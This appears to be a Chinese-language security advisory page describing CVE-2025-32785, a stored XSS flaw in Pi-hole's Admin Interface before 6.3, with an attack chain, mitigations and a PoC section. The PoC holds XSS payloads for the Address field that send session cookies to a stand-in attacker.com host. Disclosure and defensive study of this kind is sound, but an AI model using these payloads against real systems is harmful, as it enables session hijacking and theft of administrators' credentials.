IPBUF安全漏洞报告
English
CVE-2025-32785 CVSS 5.4 中危

CVE-2025-32785: Pi-hole Admin Interface 跨站脚本漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-32785
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Pi-hole Admin Interface

相关标签

CVE-2025-32785XSS跨站脚本存储型XSSPi-holePi-hole Admin Interface网络广告屏蔽身份验证绕过会话劫持Web应用安全

漏洞概述

CVE-2025-32785是Pi-hole Admin Interface中发现的一个存储型跨站脚本(Stored XSS)漏洞。Pi-hole是一个网络级广告和互联网跟踪器屏蔽应用程序,其Admin Interface是用于管理Pi-hole的Web界面。该漏洞存在于Subscribed Lists组管理部分的Address字段中,版本6.3之前的Pi-hole Admin Interface未能正确过滤或转义用户输入的特殊字符和脚本标签。攻击者可以通过在创建或编辑列表条目时,在Address字段中注入恶意JavaScript代码。由于该输入被存储在数据库中,当其他用户访问Tools部分并执行gravity数据库更新操作时,恶意脚本会被触发执行。这允许攻击者窃取受害者用户的会话cookie、冒充用户执行操作或进行其他恶意活动。漏洞已于6.3版本中修复。

技术细节

该漏洞是典型的存储型XSS漏洞,攻击流程如下:首先,攻击者以低权限用户身份登录Pi-hole Admin Interface。然后,攻击者导航到Subscribed Lists组管理功能,在创建或编辑列表条目时,在Address字段中注入恶意JavaScript payload(如:<script>alert(document.cookie)</script>)。由于应用程序未对Address字段的输入进行充分的输入验证和输出编码,恶意脚本被直接存储到数据库中。当其他用户访问Tools部分并执行gravity数据库更新操作时,存储的恶意脚本会被从数据库中读取并渲染到页面上。由于该操作通常需要较高权限或涉及数据库同步操作,因此会触发存储的XSS payload。攻击成功后,恶意JavaScript会在受害者的浏览器上下文中执行,可窃取认证令牌、劫持会话或进行其他基于浏览器的攻击。修复方案需要在输入端对特殊字符进行过滤,并在输出端对HTML特殊字符进行转义。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标环境,确认目标运行Pi-hole Admin Interface且版本低于6.3
STEP 2
初始访问
攻击者获取Pi-hole Admin Interface的有效用户凭据(低权限账户即可)
STEP 3
载荷注入
攻击者登录后,导航到Subscribed Lists组管理部分,在Address字段中注入恶意JavaScript代码
STEP 4
载荷存储
恶意payload被存储到gravity数据库中,由于缺乏输入验证,脚本标签未被过滤
STEP 5
触发执行
受害者访问Tools部分并执行gravity数据库更新操作时,存储的恶意脚本被渲染并执行
STEP 6
会话劫持
攻击者通过XSS窃取受害者cookie或执行任意JavaScript代码,完成会话劫持或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-32785 PoC - Stored XSS in Pi-hole Admin Interface --> <!-- Steps: --> <!-- 1. Login to Pi-hole Admin Interface with low-privilege user --> <!-- 2. Navigate to Subscribed Lists in group management --> <!-- 3. Add new list with XSS payload in Address field --> <!-- 4. When another user visits Tools and updates gravity database, XSS triggers --> <!-- Example XSS Payload for Address Field: --> <script>alert('XSS Triggered - CVE-2025-32785')</script> <!-- More advanced payload for cookie stealing: --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Image tag based XSS: --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- SVG based XSS: --> <svg/onload=fetch('https://attacker.com/exfil?c='+btoa(document.cookie))>

影响范围

Pi-hole Admin Interface < 6.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制低权限用户对Subscribed Lists功能的访问权限;2) 启用Web应用防火墙(WAF)规则检测和阻止XSS payload;3) 监控gravity数据库更新操作相关日志;4) 提醒用户不要点击来源不明的链接;5) 考虑临时禁用Subscribed Lists功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表